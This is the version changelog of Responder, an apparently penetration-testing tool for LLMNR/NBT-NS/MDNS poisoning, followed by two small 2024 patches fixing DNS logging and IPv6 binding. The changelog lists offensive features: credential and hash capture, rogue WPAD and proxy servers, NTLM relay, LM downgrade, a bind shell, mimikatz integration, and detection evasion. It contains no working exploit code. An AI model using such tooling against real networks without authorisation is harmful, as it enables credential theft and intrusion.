[v2.3.3.9](https://github.com/lgandx/Responder/releases/tag/v2.3.3.9) - 2017-11-20 + +[Compare with v2.3.3.8](https://github.com/lgandx/Responder/compare/v2.3.3.8...v2.3.3.9) + +### Added + +- Added: check for null sessions and MS17-010 ([b37f562](https://github.com/lgandx/Responder/commit/b37f56264a6b57faff81c12a8143662bf1ddb91d) by lgandx). +- Add ignore case on check body for html inject ([47c3115](https://github.com/lgandx/Responder/commit/47c311553eb38327622d5e6b25e20a662c31c30d) by Lionel PRAT). +- added support for plain auth ([207b0d4](https://github.com/lgandx/Responder/commit/207b0d455c95a5cd68fbfbbc022e5cc3cb41878f) by lgandx). + +## [v2.3.3.8](https://github.com/lgandx/Responder/releases/tag/v2.3.3.8) - 2017-09-05 + +[Compare with v2.3.3.7](https://github.com/lgandx/Responder/compare/v2.3.3.7...v2.3.3.8) + +### Changed + +- Changed the complete LDAP parsing hash algo (ntlmv2 bug). ([679cf65](https://github.com/lgandx/Responder/commit/679cf65cff0c537b594d284cd01e2ea9c690d4ae) by lgandx). + +## [v2.3.3.7](https://github.com/lgandx/Responder/releases/tag/v2.3.3.7) - 2017-09-05 + +[Compare with v2.3.3.6](https://github.com/lgandx/Responder/compare/v2.3.3.6...v2.3.3.7) + +### Added + +- Add in check for uptime since March 14th 2017, which could indicate the system is vulnerable to MS17-010 ([5859c31](https://github.com/lgandx/Responder/commit/5859c31e8ecf35c5b12ac653e8ab793bc9270604) by Matt Kelly). +- Add Microsoft SQL Server Browser responder ([bff935e](https://github.com/lgandx/Responder/commit/bff935e71ea401a4477004022623b1617ac090b3) by Matthew Daley). +- added: mimi32 cmd, MultiRelay random RPC & Namedpipe & latest mimikatz ([38219e2](https://github.com/lgandx/Responder/commit/38219e249e700c1b20317e0b96f4a120fdfafb98) by lgandx). + +### Fixed + +- Fixed various bugs and improved the LDAP module. ([be26b50](https://github.com/lgandx/Responder/commit/be26b504b5133c78158d9794cd361ce1a7418775) by lgandx). +- Fixed space typo in FindSMB2UPTime.py ([11c0096](https://github.com/lgandx/Responder/commit/11c00969c36b2ed51763ee6c975870b05e84cdcb) by myst404). +- Fixed instances of "CRTL-C" to "CTRL-C" ([44a4e49](https://github.com/lgandx/Responder/commit/44a4e495ccb21098c6b882feb25e636510fc72b9) by Randy Ramos). + +## [v2.3.3.6](https://github.com/lgandx/Responder/releases/tag/v2.3.3.6) - 2017-03-29 + +[Compare with v2.3.3.5](https://github.com/lgandx/Responder/compare/v2.3.3.5...v2.3.3.6) + +### Fixed + +- Fixed bug in FindSMB2UPTime ([6f3cc45](https://github.com/lgandx/Responder/commit/6f3cc4564c9cf34b75ef5469fd54edd4b3004b54) by lgandx). + +### Removed + +- Removed Paypal donation link. ([b05bdca](https://github.com/lgandx/Responder/commit/b05bdcab9600ad4e7ef8b70e2d8ee1b03b8b442a) by lgandx). + +## [v2.3.3.5](https://github.com/lgandx/Responder/releases/tag/v2.3.3.5) - 2017-02-18 + +[Compare with v2.3.3.4](https://github.com/lgandx/Responder/compare/v2.3.3.4...v2.3.3.5) + +## [v2.3.3.4](https://github.com/lgandx/Responder/releases/tag/v2.3.3.4) - 2017-02-18 + +[Compare with v2.3.3.3](https://github.com/lgandx/Responder/compare/v2.3.3.3...v2.3.3.4) + +### Added + +- Added: Hashdump, Stats report ([21d48be](https://github.com/lgandx/Responder/commit/21d48be98fd30a9fd0747588cbbb070ed0ce100b) by lgandx). +- added `ip` commands in addition to ifconfig and netstat ([db61f24](https://github.com/lgandx/Responder/commit/db61f243c9cc3c9821703c78e780e745703c0bb3) by thejosko). + +### Fixed + +- fixed crash: typo. ([0642999](https://github.com/lgandx/Responder/commit/0642999741b02de79266c730cc262bb3345644f9) by lgandx). +- Fix for RandomChallenge function. Function getrandbits can return less than 64 bits, thus decode('hex') will crash with TypeError: Odd-length string ([de6e869](https://github.com/lgandx/Responder/commit/de6e869a7981d49725e791303bd16c4159d70880) by Gifts). +- Fix Proxy_Auth. Random challenge broke it. ([5a2ee18](https://github.com/lgandx/Responder/commit/5a2ee18bfaa66ff245747cf8afc114a9a894507c) by Timon Hackenjos). + +## [v2.3.3.3](https://github.com/lgandx/Responder/releases/tag/v2.3.3.3) - 2017-01-03 + +[Compare with v2.3.3.2](https://github.com/lgandx/Responder/compare/v2.3.3.2...v2.3.3.3) + +### Added + +- Added: Random challenge for each requests (default) ([0d441d1](https://github.com/lgandx/Responder/commit/0d441d1899053fde6792288fc83be0c883df19f0) by lgandx). + +## [v2.3.3.2](https://github.com/lgandx/Responder/releases/tag/v2.3.3.2) - 2017-01-03 + +[Compare with v2.3.3.1](https://github.com/lgandx/Responder/compare/v2.3.3.1...v2.3.3.2) + +### Added + +- Added: Random challenge for each requests (default) ([1d38cd3](https://github.com/lgandx/Responder/commit/1d38cd39af9154f5a9e898428de25fe0afa68d2f) by lgandx). +- Added paypal button ([17dc81c](https://github.com/lgandx/Responder/commit/17dc81cb6833a91300d0669398974f0ed9bc006e) by lgandx). +- Added: Scripting support. -c and -d command line switch ([ab2d890](https://github.com/lgandx/Responder/commit/ab2d8907f033384e593a38073e50604a834f4bf3) by lgandx). +- Added: BTC donation address ([730808c](https://github.com/lgandx/Responder/commit/730808c83c0c7f67370ceeff977b0e727eb28ea4) by lgandx). + +### Removed + +- Removed ThreadingMixIn. MultiRelay should process one request at the timeand queue the next ones. ([4a7499d](https://github.com/lgandx/Responder/commit/4a7499df039269094c718eb9e19760e79eea86f7) by lgandx). + +## [v2.3.3.1](https://github.com/lgandx/Responder/releases/tag/v2.3.3.1) - 2016-10-18 + +[Compare with v2.3.3.0](https://github.com/lgandx/Responder/compare/v2.3.3.0...v2.3.3.1) + +### Added + +- Added: Logs dumped files for multiple targets ([d560105](https://github.com/lgandx/Responder/commit/d5601056b386a7ae3ca167f0562cbe87bf004c38) by lgandx). + +### Fixed + +- Fixed wrong challenge issue ([027f841](https://github.com/lgandx/Responder/commit/027f841cdf11fd0ad129825dcc70d6ac8b5d3983) by lgandx). + +## [v2.3.3.0](https://github.com/lgandx/Responder/releases/tag/v2.3.3.0) - 2016-10-12 + +[Compare with v2.3.2.8](https://github.com/lgandx/Responder/compare/v2.3.2.8...v2.3.3.0) + +### Added + +- Added: Compability for Multi-Relay ([5b06173](https://github.com/lgandx/Responder/commit/5b0617361ede8df67caad4ca89723ad18a67fa53) by lgandx). + +### Fixed + +- Fix values for win98 and win10 (requested here: https://github.com/lgandx/Responder/pull/7/commits/d9d34f04cddbd666865089d809eb5b3d46dd9cd4) ([60c91c6](https://github.com/lgandx/Responder/commit/60c91c662607c3991cb760c7dd221e81cfb69518) by lgandx). +- Fixed the bind to interface issue (https://github.com/lgandx/Responder/issues/6) ([ce211f7](https://github.com/lgandx/Responder/commit/ce211f7fcfa7ea9e3431161fec5075ca63730070) by lgandx). +- fixed bug in hash parsing. ([0cf1087](https://github.com/lgandx/Responder/commit/0cf1087010088ef1c3fecc7d2ad851c7c49d0639) by lgandx). + +### Changed + +- Changed to executable ([3e46ecd](https://github.com/lgandx/Responder/commit/3e46ecd27e53c58c3dc38888a2db1d3340a5a3ab) by lgandx). + +## [v2.3.2.8](https://github.com/lgandx/Responder/releases/tag/v2.3.2.8) - 2016-10-06 + +[Compare with v2.3.2.7](https://github.com/lgandx/Responder/compare/v2.3.2.7...v2.3.2.8) + +### Added + +- Added: Now delete services on the fly. ([c6e401c](https://github.com/lgandx/Responder/commit/c6e401c2290fbb6c68bbc396915ea3fa7b11b5f0) by lgandx). + +## [v2.3.2.7](https://github.com/lgandx/Responder/releases/tag/v2.3.2.7) - 2016-10-05 + +[Compare with v2.3.2.6](https://github.com/lgandx/Responder/compare/v2.3.2.6...v2.3.2.7) + +### Added + +- Added: Possibility to target all users. use 'ALL' with -u ([d81ef9c](https://github.com/lgandx/Responder/commit/d81ef9c33ab710f973c68f60cd0b7960f9e4841b) by lgandx). + +### Fixed + +- Fixed minor bug ([7054c60](https://github.com/lgandx/Responder/commit/7054c60f38cafc7e1c4d8a6ce39e12afbfc8b482) by lgandx). + +## [v2.3.2.6](https://github.com/lgandx/Responder/releases/tag/v2.3.2.6) - 2016-10-05 + +[Compare with v2.3.2.5](https://github.com/lgandx/Responder/compare/v2.3.2.5...v2.3.2.6) + +## [v2.3.2.5](https://github.com/lgandx/Responder/releases/tag/v2.3.2.5) - 2016-10-03 + +[Compare with v2.3.2.4](https://github.com/lgandx/Responder/compare/v2.3.2.4...v2.3.2.5) + +### Added + +- Added logs folder. ([cd09e19](https://github.com/lgandx/Responder/commit/cd09e19a9363867a75d7db1dea4830969bc0d68e) by lgandx). +- Added: Cross-protocol NTLMv1-2 relay (beta). ([ab67070](https://github.com/lgandx/Responder/commit/ab67070a2b82e94f2abb506a69f8fa8c0dc09852) by lgandx). + +### Removed + +- Removed logs folder. ([5d83778](https://github.com/lgandx/Responder/commit/5d83778ac7caba920874dc49f7523c6ef80b6d7b) by lgandx). + +## [v2.3.2.4](https://github.com/lgandx/Responder/releases/tag/v2.3.2.4) - 2016-09-12 + +[Compare with v2.3.2.3](https://github.com/lgandx/Responder/compare/v2.3.2.3...v2.3.2.4) + +## [v2.3.2.3](https://github.com/lgandx/Responder/releases/tag/v2.3.2.3) - 2016-09-12 + +[Compare with v2.3.2.2](https://github.com/lgandx/Responder/compare/v2.3.2.2...v2.3.2.3) + +### Added + +- Added new option in Responder.conf. Capture multiple hashes from the same client. Default is On. ([35d933d](https://github.com/lgandx/Responder/commit/35d933d5964df607ec714ced93e4cb197ff2bfe7) by lgandx). + +## [v2.3.2.2](https://github.com/lgandx/Responder/releases/tag/v2.3.2.2) - 2016-09-12 + +[Compare with v2.3.2.1](https://github.com/lgandx/Responder/compare/v2.3.2.1...v2.3.2.2) + +### Added + +- Added support for webdav, auto credz. ([ad9ce6e](https://github.com/lgandx/Responder/commit/ad9ce6e659ffd9dd31714260f906c8de02223398) by lgandx). +- Added option -e, specify an external IP address to redirect poisoned traffic to. ([04c270f](https://github.com/lgandx/Responder/commit/04c270f6b75cd8eb833cca3b71965450d925e6ac) by lgandx). + +### Removed + +- removed debug info ([3e2e375](https://github.com/lgandx/Responder/commit/3e2e375987ce2ae03e6a88ffadabb13823ba859c) by lgandx). + +## [v2.3.2.1](https://github.com/lgandx/Responder/releases/tag/v2.3.2.1) - 2016-09-11 + +[Compare with v2.3.2](https://github.com/lgandx/Responder/compare/v2.3.2...v2.3.2.1) + +## [v2.3.2](https://github.com/lgandx/Responder/releases/tag/v2.3.2) - 2016-09-11 + +[Compare with v2.3.1](https://github.com/lgandx/Responder/compare/v2.3.1...v2.3.2) + +### Added + +- Added proxy auth server + various fixes and improvements ([82fe64d](https://github.com/lgandx/Responder/commit/82fe64dfd988321cbc1a8cb3d8f01caa38f4193e) by lgandx). +- Added current date for all HTTP headers, avoiding easy detection ([ecd62c3](https://github.com/lgandx/Responder/commit/ecd62c322f48eadb235312ebb1e57375600ef0f1) by lgandx). + +### Removed + +- Removed useless HTTP headers ([881dae5](https://github.com/lgandx/Responder/commit/881dae59cf3c95047d82b34208f57f94b3e85b04) by lgandx). + +## [v2.3.1](https://github.com/lgandx/Responder/releases/tag/v2.3.1) - 2016-09-09 + +[Compare with v2.3.0](https://github.com/lgandx/Responder/compare/v2.3.0...v2.3.1) + +### Added + +- Added SMBv2 support enabled by default. ([85d7974](https://github.com/lgandx/Responder/commit/85d7974513a9b6378ed4c0c07a7dd640c27ead9b) by lgandx). +- added new option, for Config-Responder.log file. ([a9c2b29](https://github.com/lgandx/Responder/commit/a9c2b297c6027030e3f83c7626fff6f66d5a4f1b) by lgaffie). +- Add compatability with newer net-tools ifconfig. ([e19e349](https://github.com/lgandx/Responder/commit/e19e34997e68a2f567d04d0c013b7870530b7bfd) by Hank Leininger). +- Add HTTP Referer logging ([16e6464](https://github.com/lgandx/Responder/commit/16e6464748d3497943a9d96848ead9058dc0f7e9) by Hubert Seiwert). +- Added recent Windows versions. ([6eca29d](https://github.com/lgandx/Responder/commit/6eca29d08cdd0d259760667da0c41e76d2cd2693) by Jim Shaver). +- Added: Support for OSx ([59e48e8](https://github.com/lgandx/Responder/commit/59e48e80dd6153f83899413c2fc71a46367d4abf) by lgandx). + +### Fixed + +- Fixed colors in log files ([d9258e2](https://github.com/lgandx/Responder/commit/d9258e2dd80ab1d62767377250c76bf5c9f2a50d) by lgaffie). +- Fixed the regexes for Authorization: headers. ([a81a9a3](https://github.com/lgandx/Responder/commit/a81a9a31e4dbef2890fbf51830b6a9374d6a8f8a) by Hank Leininger). +- Fix Windows 10 support. ([a84b351](https://github.com/lgandx/Responder/commit/a84b3513e1fdd47025ceaa743ce0f506f162640b) by ValdikSS). +- Fixed color bug in Analyze mode ([04c841d](https://github.com/lgandx/Responder/commit/04c841d34e0d32970f08ae91ad0f931b1b90d6ab) by lgandx). +- fixed minor bug ([6f8652c](https://github.com/lgandx/Responder/commit/6f8652c0fccfe83078254d7b38cb9fd517a6bf42) by lgandx). +- Fixed Icmp-Redirect.. ([df63c1f](https://github.com/lgandx/Responder/commit/df63c1fc138d1682a86bc2114a5352ae897865c6) by lgandx). +- Fixed some tools and +x on some executables ([8171a96](https://github.com/lgandx/Responder/commit/8171a96b9eaac3cd25ef18e8ec8b303c5877f4d0) by lgandx). +- Fix generation of HTTP response in HTTP proxy ([b2830e0](https://github.com/lgandx/Responder/commit/b2830e0a4f46f62db4d34b3e8f93ea505be32000) by Antonio Herraiz). +- Fix misspelling of poisoners ([6edc01d](https://github.com/lgandx/Responder/commit/6edc01d8511189489e4b5fd9873f25712920565c) by IMcPwn). + +### Changed + +- change IsOSX to utils.IsOsX. Fixes #89 ([08c3a90](https://github.com/lgandx/Responder/commit/08c3a90b400d0aff307dd43ff4cd6f01ca71a6cb) by Jared Haight). +- Changed email address ([f5a8bf0](https://github.com/lgandx/Responder/commit/f5a8bf0650bc088b6ef5ae7432f2baef0d52852c) by lgandx). +- Changed connection to SQlite db to support different encoded charsets ([0fec40c](https://github.com/lgandx/Responder/commit/0fec40c3b4c621ee21a88906e77c6ea7a56cb8a9) by Yannick Méheut). +- Changed comment to be more clear about what is being done when logging ([08535e5](https://github.com/lgandx/Responder/commit/08535e55391d762be4259a1fada330ef3f0ac134) by Yannick Méheut). + +### Removed + +- Removed the config dump in Responder-Session.log. New file gets created in logs, with host network config such as dns, routes, ifconfig and config dump ([a765a8f](https://github.com/lgandx/Responder/commit/a765a8f0949de37940364d0a228aff72c0701aa0) by lgaffie). + +## [v2.3.0](https://github.com/lgandx/Responder/releases/tag/v2.3.0) - 2015-09-11 + +[Compare with v2.1.4](https://github.com/lgandx/Responder/compare/v2.1.4...v2.3.0) + +### Added + +- Added support for Samba4 clients ([ee033e0](https://github.com/lgandx/Responder/commit/ee033e0c7f28a0584c8ebcb2c31fe949581f0022) by lgandx). +- Added support for upstream proxies for the rogue WPAD server ([f4bd612](https://github.com/lgandx/Responder/commit/f4bd612e083698fd94308fd2fd15ba7d8d289fd8) by jrmdev). + +### Fixed + +- Fixed Harsh Parser variable typo ([5ab431a](https://github.com/lgandx/Responder/commit/5ab431a4fe24a2ba4666b9c51ad59a0bb8a0053d) by lgandx). +- fixed var name ([62ed8f0](https://github.com/lgandx/Responder/commit/62ed8f00626a2ad0fbbfb845e808d77938f4513a) by byt3bl33d3r). +- Fixes MDNS Name parsing error ([3261288](https://github.com/lgandx/Responder/commit/3261288c82fee415dd8e1ba64b80596ef97da490) by byt3bl33d3r). +- Fixed FTP module. ([75664a4](https://github.com/lgandx/Responder/commit/75664a4f37feb897be52480223cd1633d322ede8) by jrmdev). +- Fixing a bug in HTTP proxy, was calling recv() too many times ([ddaa9f8](https://github.com/lgandx/Responder/commit/ddaa9f87674dc8ac3f9104196f2f92cdec130682) by lanjelot). + +### Changed + +- changed operand ([cb9c2c8](https://github.com/lgandx/Responder/commit/cb9c2c8b97761cc5e00051efd74c9c3fdaf5762d) by byt3bl33d3r). + +## [v2.1.4](https://github.com/lgandx/Responder/releases/tag/v2.1.4) - 2014-12-06 + +[Compare with v2.1.3](https://github.com/lgandx/Responder/compare/v2.1.3...v2.1.4) + +### Added + +- Added: FindSMB2UPTime script. Find when is the last time a >= 2008 server was updated. ([7a95ef1](https://github.com/lgandx/Responder/commit/7a95ef1474d3cea88680f359581aa89a4e9c30f5) by lgandx). + +## [v2.1.3](https://github.com/lgandx/Responder/releases/tag/v2.1.3) - 2014-11-27 + +[Compare with v2.1.2](https://github.com/lgandx/Responder/compare/v2.1.2...v2.1.3) + +### Added + +- Added: DontRespondToName and DontRespondTo; NAC/IPS detection evasion ([36ef78f](https://github.com/lgandx/Responder/commit/36ef78f85aea5db33f37a6d1d73bf3bb7f82336f) by lgandx). +- Added --version and kost's fix for /etc/resolv.conf empty lines parsing. ([c05bdfc](https://github.com/lgandx/Responder/commit/c05bdfce17234b216b408080d9aba5db443de507) by lgandx). + +## [v2.1.2](https://github.com/lgandx/Responder/releases/tag/v2.1.2) - 2014-08-26 + +[Compare with v2.1.0](https://github.com/lgandx/Responder/compare/v2.1.0...v2.1.2) + +### Added + +- Added: Log command line in Responder-Session.log. ([f69e93c](https://github.com/lgandx/Responder/commit/f69e93c02e81a83309d3863f6d5680b36378a16b) by lgandx). + +### Fixed + +- Fixed serve-always and serve-exe with the new WPAD server. ([cf7b477](https://github.com/lgandx/Responder/commit/cf7b4771caf335a1a283fae08923c413acae3343) by lgandx). + +## [v2.1.0](https://github.com/lgandx/Responder/releases/tag/v2.1.0) - 2014-08-16 + +[Compare with v2.0.9](https://github.com/lgandx/Responder/compare/v2.0.9...v2.1.0) + +### Fixed + +- fixed: identation. ([5c9fec9](https://github.com/lgandx/Responder/commit/5c9fec923c8cb77f00466db6192b1ecb8980bdcf) by lgandx). + +## [v2.0.9](https://github.com/lgandx/Responder/releases/tag/v2.0.9) - 2014-05-28 + +[Compare with v2.0.8](https://github.com/lgandx/Responder/compare/v2.0.8...v2.0.9) + +### Fixed + +- Fixed high cpu usage in some specific cases ([4558861](https://github.com/lgandx/Responder/commit/4558861ce2dd56c0e4c5157437c8726a26e382c5) by lgandx). + +### Removed + +- Removed: old style options. Just use -r instead of -r On ([a21aaf7](https://github.com/lgandx/Responder/commit/a21aaf7987e26eee5455d68cd76ff56b5466b7f2) by lgandx). + +## [v2.0.8](https://github.com/lgandx/Responder/releases/tag/v2.0.8) - 2014-04-22 + +[Compare with v2.0.7](https://github.com/lgandx/Responder/compare/v2.0.7...v2.0.8) + +### Added + +- Added: in-scope target, windows >= Vista support (-R) and unicast answers only. ([2e4ed61](https://github.com/lgandx/Responder/commit/2e4ed61bba2df61a1e1165b466a369639c425955) by lgandx). + +## [v2.0.7](https://github.com/lgandx/Responder/releases/tag/v2.0.7) - 2014-04-16 + +[Compare with v2.0.6](https://github.com/lgandx/Responder/compare/v2.0.6...v2.0.7) + +### Added + +- Added: in-scope llmnr/nbt-ns name option ([1c79bed](https://github.com/lgandx/Responder/commit/1c79bedac9083992ba019ff7134cdb3c718a6f15) by lgandx). +- Added: Kerberos server and -d cli option. ([dcede0f](https://github.com/lgandx/Responder/commit/dcede0fdf5e060e77fc51fbad2da3dbbff8edf8d) by lgandx). + +## [v2.0.6](https://github.com/lgandx/Responder/releases/tag/v2.0.6) - 2014-04-01 + +[Compare with v2.0.5](https://github.com/lgandx/Responder/compare/v2.0.5...v2.0.6) + +### Fixed + +- Fixed [Enter] key issue ([c97a13c](https://github.com/lgandx/Responder/commit/c97a13c1bdb79b4dcdf43f889fdd586c3c39b893) by lgandx). + +## [v2.0.5](https://github.com/lgandx/Responder/releases/tag/v2.0.5) - 2014-03-22 + +[Compare with v2.0.4](https://github.com/lgandx/Responder/compare/v2.0.4...v2.0.5) + +### Added + +- Added: In-scope IP handling for MDNS ([b14ff0b](https://github.com/lgandx/Responder/commit/b14ff0b36a100736f293ddbd8bbe1c538a370347) by lgandx). + +## [v2.0.4](https://github.com/lgandx/Responder/releases/tag/v2.0.4) - 2014-03-22 + +[Compare with v2.0.3](https://github.com/lgandx/Responder/compare/v2.0.3...v2.0.4) + +### Added + +- Added: MDNS Poisoner ([90479ad](https://github.com/lgandx/Responder/commit/90479adcca066602885ea2bfec32953ce71d6977) by lgandx). + +## [v2.0.3](https://github.com/lgandx/Responder/releases/tag/v2.0.3) - 2014-03-21 + +[Compare with v2.0.2](https://github.com/lgandx/Responder/compare/v2.0.2...v2.0.3) + +### Fixed + +- fix: Bind to interface bug. ([a1a4f46](https://github.com/lgandx/Responder/commit/a1a4f46c7ba8861ff71c1ea2045a72acf2c829bd) by lgandx). + +## [v2.0.2](https://github.com/lgandx/Responder/releases/tag/v2.0.2) - 2014-02-06 + +[Compare with v2.0.1](https://github.com/lgandx/Responder/compare/v2.0.1...v2.0.2) + +### Added + +- Added: Analyze mode; Lanman Domain/SQL/Workstation passive discovery. ([2c9273e](https://github.com/lgandx/Responder/commit/2c9273eb2ca8d5080ff81273f602547fe649c259) by lgandx). + +## [v2.0.1](https://github.com/lgandx/Responder/releases/tag/v2.0.1) - 2014-01-30 + +[Compare with first commit](https://github.com/lgandx/Responder/compare/e821133708098c74497a3f9b0387a3ad048d5a48...v2.0.1) + +### Added + +- Added: Analyze ICMP Redirect plausibility on current subnet. ([06df704](https://github.com/lgandx/Responder/commit/06df704960c556e3c2261a52827d55eb7b4ed0d4) by lgandx). +- Added: Analyze stealth mode. See all traffic, but dont answer (-A cli). Minor bugs also fixed. ([9bb2f81](https://github.com/lgandx/Responder/commit/9bb2f81044cd94f36f54c8daf7f1183bc761bb24) by lgandx). +- Added: -F command line switch to force authentication on PAC file retrieval. Default is Off ([3f48c11](https://github.com/lgandx/Responder/commit/3f48c114d5e713bfe68bef1717e18d3c266f358e) by lgandx). +- Added: IMAP module and enhanced wpad. ([af60de9](https://github.com/lgandx/Responder/commit/af60de95679f20eca4765b1450f80c48fbef689c) by lgandx). +- Added: SMTP PLAIN/LOGIN module ([6828f1b](https://github.com/lgandx/Responder/commit/6828f1b11ebfc0fc25a8fd00e8f373f3adfb7fc6) by lgandx). +- Added: POP3 module. ([f48ea3f](https://github.com/lgandx/Responder/commit/f48ea3f4b644c3eb25c63d402c6d30fcd29be529) by lgandx). +- Added: MSSQL Plaintext module ([4c3a494](https://github.com/lgandx/Responder/commit/4c3a494c86b7a95cf2c43a71bac182f231bf71cb) by lgandx). +- Added: SMBRelay module ([4dd9d8c](https://github.com/lgandx/Responder/commit/4dd9d8c1df3717ed928e73083c30e21aa5eaf8b4) by lgandx). +- added: Command switch -v for verbose mode. Responder is now less verbose. ([46b98a6](https://github.com/lgandx/Responder/commit/46b98a616d540ae618198784d0775e687371858e) by lgandx). +- Added support for .pac file requests. ([6b7e5b6](https://github.com/lgandx/Responder/commit/6b7e5b6441c7fdf19a163b8efb6fd588ccfee8ae) by lgandx). +- Added: print HTTP URL, POST data requested prior auth ([f616718](https://github.com/lgandx/Responder/commit/f6167183e046d2759ab6b885dd2f94bb2902c564) by lgandx). +- Added command switch -I. This option override Responder.conf Bind_to setting ([68de4ac](https://github.com/lgandx/Responder/commit/68de4ac26ec34bbf24524abb0c0b11ae34aa27a3) by lgandx). +- Added: in-scope only target. See Responder.conf. ([0465bd6](https://github.com/lgandx/Responder/commit/0465bd604d7cc22ef2c97f938d8564677030e5bd) by lgandx). +- Added: Fake access denied html page ([9b608aa](https://github.com/lgandx/Responder/commit/9b608aad30529e2bfea4d7c6e99343df0ba2d9d0) by lgandx). +- Added: Configuration file, removed several cli options and several fixes. ([95eed09](https://github.com/lgandx/Responder/commit/95eed099424568d4c67402f12a5de5d9d72c3041) by lgandx). +- Added: Configuration file for Responder ([d573102](https://github.com/lgandx/Responder/commit/d57310273df524b99d17c97b49ee35eb3aec7b52) by lgandx). +- Added: Bind shell listening on port 140, use it with -e or -exe option if needed ([1079de0](https://github.com/lgandx/Responder/commit/1079de052b7cc7c6caeb80e6ee081568ff359317) by Lgandx). +- Added: Ability to serve whatever kind of file via HTTP and WPAD There's now 3 new options. ([a8c2952](https://github.com/lgandx/Responder/commit/a8c29522db3555f7733a80d29271b3229e1149c6) by Lgandx). +- added -I option to bind all sockets to a specific ip (eg: listen only on eth0) ([d5088b2](https://github.com/lgandx/Responder/commit/d5088b24ee3d8bead640b37480be57fe564e70b5) by Lgandx). +- added: HTTP auth forward to SMB. This is useful for SMB Relay or LM downgrade from HTTP NTLM ESS to SMB LM. ([0fcaa68](https://github.com/lgandx/Responder/commit/0fcaa68c074e496edb2164ca35659ff636b5a361) by Lgandx). +- added automatic poisoning mode when a primary and a secondary DNS is specified. ([ccbbbe3](https://github.com/lgandx/Responder/commit/ccbbbe34535c12b664a39f5a99f98c1da79ca5a6) by Lgandx). +- Added HTTPS module. ([9250281](https://github.com/lgandx/Responder/commit/92502814aa3becdd064f0bfb160af826adb42f60) by Lgandx). +- Added support for LM hash downgrade. Default still NTLMSSP. ([09f8f72](https://github.com/lgandx/Responder/commit/09f8f7230d66cb35e1e6bed9fb2c9133ad5cc415) by Lgandx). +- Added: Client ip is now part of the cookie filename ([2718f9c](https://github.com/lgandx/Responder/commit/2718f9c51310e18e91d6d90c86657bdd72889f2a) by Lgandx). +- Added a folder for storing HTTP cookies files ([d1a14e2](https://github.com/lgandx/Responder/commit/d1a14e2f27d856ca1551232502835d6cddb3602d) by Lgandx). +- Added WPAD transparent proxy ([9f1c3bc](https://github.com/lgandx/Responder/commit/9f1c3bcba32c6feb008a39ece688522dcd9e757f) by Lgandx). + +### Fixed + +- Fixed WPAD cookie capture ([afe2b63](https://github.com/lgandx/Responder/commit/afe2b63c6a556a6da97e7ac89c96f89276d521c3) by lgandx). +- Fix: Command line switch typo ([4fb4233](https://github.com/lgandx/Responder/commit/4fb4233424273849085781225298de39b6c9c098) by lgandx). +- Fixed minor bugs ([f8a16e2](https://github.com/lgandx/Responder/commit/f8a16e28ee15a3af91542269e5b1ec9c69ea3d75) by Lgandx). +- Fixed duplicate entry in hash file for machine accounts ([4112b1c](https://github.com/lgandx/Responder/commit/4112b1cd5d06f021dcc145f32d29b53d4cb8d82a) by Lgandx). +- fix for anonymous NTLM connection for LDAP server ([1c47e7f](https://github.com/lgandx/Responder/commit/1c47e7fcb112d0efdb509e56a1b08d557eb9f375) by Lgandx). + +### Changed + +- Changed WPAD to Off by default. Use command line -w On to enable. ([bf2fdf0](https://github.com/lgandx/Responder/commit/bf2fdf083cdadf81747f87eb138a474911928b77) by lgandx). +- changed .txt to no extension. ([5f7bfa8](https://github.com/lgandx/Responder/commit/5f7bfa8cbe75d0c7fd24c8a83c44a5c3b02717a4) by lgandx). +- Changed Windows =< 5.2 documentation to XP/2003 and earlier for clarification ([56dd7b8](https://github.com/lgandx/Responder/commit/56dd7b828cf85b88073e88a8b4409f7dae791d49) by Garret Picchioni). + +### Removed + +- Removed bind to interface support for OsX. Responder for OsX can only listen on all interfaces. ([dbfdc27](https://github.com/lgandx/Responder/commit/dbfdc2783156cfeede5114735ae018a925b3fa78) by lgandx). From 44bfd1d22195354544a01c646587f01f3219c97a Mon Sep 17 00:00:00 2001 From: lgandx Date: Sat, 6 Jan 2024 09:19:10 -0300 Subject: [PATCH 195/219] DNS dump updated + removed var dump info on Config-Responder.log --- settings.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/settings.py b/settings.py index 20f1672..3d3a699 100644 --- a/settings.py +++ b/settings.py @@ -332,7 +332,7 @@ class Settings: NetworkCard = "Error fetching Network Interfaces:", ex pass try: - DNS = subprocess.check_output(["cat", "/etc/resolv.conf"]) + DNS = subprocess.check_output(["resolvectl", "status"]) except subprocess.CalledProcessError as ex: DNS = "Error fetching DNS configuration:", ex pass @@ -348,7 +348,7 @@ class Settings: Message = "%s\nCurrent environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(utils.HTTPCurrentDate(), NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1')) try: utils.DumpConfig(self.ResponderConfigDump, Message) - utils.DumpConfig(self.ResponderConfigDump,str(self)) + #utils.DumpConfig(self.ResponderConfigDump,str(self)) except AttributeError as ex: print("Missing Module:", ex) pass From fa297c8a16f605bdb731542c67280a4d8bc023c4 Mon Sep 17 00:00:00 2001 From: lgandx Date: Sat, 6 Jan 2024 12:44:38 -0300 Subject: [PATCH 196/219] Fixed bug when IPv6 is disabled via GRUB. --- Responder.py | 62 ++++++++++++++++++++++++++++++---------------- poisoners/LLMNR.py | 5 +++- poisoners/MDNS.py | 5 +++- servers/DNS.py | 11 +++++--- settings.py | 3 +++ utils.py | 11 ++++++-- 6 files changed, 68 insertions(+), 29 deletions(-) diff --git a/Responder.py b/Responder.py index aff4ff5..8875430 100755 --- a/Responder.py +++ b/Responder.py @@ -69,6 +69,8 @@ settings.Config.ExpandIPRanges() #Create the DB, before we start Responder. CreateResponderDb() +Have_IPv6 = settings.Config.IPv6 + class ThreadingUDPServer(ThreadingMixIn, UDPServer): def server_bind(self): if OsInterfaceIsSupported(): @@ -78,10 +80,12 @@ class ThreadingUDPServer(ThreadingMixIn, UDPServer): else: if (sys.version_info > (3, 0)): self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) + if Have_IPv6: + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) else: self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) + if Have_IPv6: + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) except: pass 